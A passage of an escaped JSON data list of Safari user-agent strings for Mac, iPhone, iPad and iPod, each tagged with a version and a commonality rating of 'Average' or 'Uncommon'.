Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ko-kr) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"mozilla\\/5.0 (iphone; cpu iphone os 7_0_2 like mac os x) applewebkit\\/537.51.1 (khtml, like gecko) version\\/7.0 mobile\\/11a501 safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E269 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.32 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5261v Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; de-at) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B150 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.17\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.10 (KHTML, like Gecko) Version\\/5.1.9 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5346a Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.8 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G60 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit\\/534.57.5 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.4\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML like Gecko) Version\\/7.0 Mobile\\/11D167 Safari\\/123E71C\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.25 (KHTML, like Gecko) Version\\/6.0 Safari\\/536.25\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420+ (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543a Safari\\/419.3\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A403 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420+ (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A537a Safari\\/419.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A525 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.0.3 Safari\\/601.4.4\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12F69 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/530.19.2 (KHTML, like Gecko) Version\\/4.0.2 Safari\\/530.19\"},{\"commonality\":\"Average\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit\\/603.1.20 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.20\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_1) AppleWebKit\\/537.73.11 (KHTML, like Gecko) Version\\/7.0.1 Safari\\/537.73.11\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J3 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F8089 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5335b Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E234 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; fr) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A345 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A356 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8B117 Safari\\/6531.22.7\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C89 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML like Gecko) Version\\/7.0 Mobile\\/11D257 Safari\\/9537.53\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit\\/601.6.14 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.14\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.3.10 (KHTML, like Gecko) Version\\/8.0.3 Safari\\/600.3.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F89 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.8\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8G4 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; ja-jp) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.21 (KHTML, like Gecko) Version\\/10.0 Mobile\\/15A5278f Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU OS 4_3 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B350 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.26.17 (KHTML like Gecko) Version\\/6.0.2 Safari\\/536.26.17\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E238 Safari\\/601.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.7\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12H141 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B329 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.71 (KHTML, like Gecko) Version\\/6.1 Safari\\/537.71\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/WK10171 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; it-it) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.0.0 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B436 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; es-es) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit\\/602.3.12 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14C92 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A406 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B145 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) CasperJS\\/1.1.0-beta3+PhantomJS\\/2.0.0 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.34 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5341f Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X; %lang2%) adbeat.com\\/policy AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/9.0 Mobile\\/12A366 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"7.2\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit\\/535.1+ (KHTML like Gecko) Version\\/7.2.0.0 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit\\/604.3.1 (KHTML, like Gecko) Version\\/11.0.1 Safari\\/604.3.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; it-it) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.25 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5304j Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.0.0 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Coast\\/2.0.2.69230 Mobile\\/11B554a Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.73.11 (KHTML, like Gecko) Version\\/6.1.1 Safari\\/537.73.11\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A300 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.0.0 Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit\\/600.5.17 (KHTML, like Gecko) Version\\/8.0.6 Safari\\/600.6.3\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.43 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.43\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F190 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B142 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/10.0.2 Safari\\/602.3.12\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_6) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/11.0 Safari\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.3 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5049a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit\\/602.4.3 (KHTML, like Gecko) Version\\/10.0.3 Safari\\/602.4.3\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 421 like Mac OS X; en-CA) AppleWebKit\\/533.17.9 (KHTML like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.43 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5322e Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D15 Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/602.1.25 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/601.6.10\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; ko-kr) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/604.1.28 (KHTML, like Gecko) Version\\/11.0 Safari\\/604.1.28\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Coast\\/3.21.84640 Mobile\\/12B411 Safari\\/7534.48.3\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit\\/537.51.3 (KHTML, like Gecko) Version\\/8.0 Mobile\\/11A4132 Safari\\/9537.145\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5372a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B101 Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/6.1.3 Safari\\/537.75.14\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.56\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/604.5.2 (KHTML, like Gecko) Version\\/11.0.3 Safari\\/604.5.2\"},{\"commonality\":\"Uncommon\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.5.17 (KHTML, like Gecko) Version\\/6.2.5 Safari\\/537.85.14\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/538.1 (KHTML, like Gecko) Tableau Safari\\/538.1\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5037b Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.2.4 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/601.2.4\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.1\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_9_5 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A365 Safari\\/600.1.4\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit\\/602.2.8 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B55c Safari\\/602.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A8500 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/603.3.1 (KHTML, like Gecko) Version\\/10.1.2 Safari\\/603.3.1\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B144 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"6.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.77.4 (KHTML, like Gecko) Version\\/6.1.5 Safari\\/537.77.4\"},{\"commonality\":\"Uncommon\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B147 Safari\\/8536.25\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/601.3.9\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A5368a Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Safari\\/531.9\"},{\"commonality\":\"Uncommon\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.50\"},{\"commonality\":\"Uncommon\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-us) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/5.0.3 Safari\\/533.19.4\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.3 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B5078e Safari\\/604.1\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 3_1_3 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like 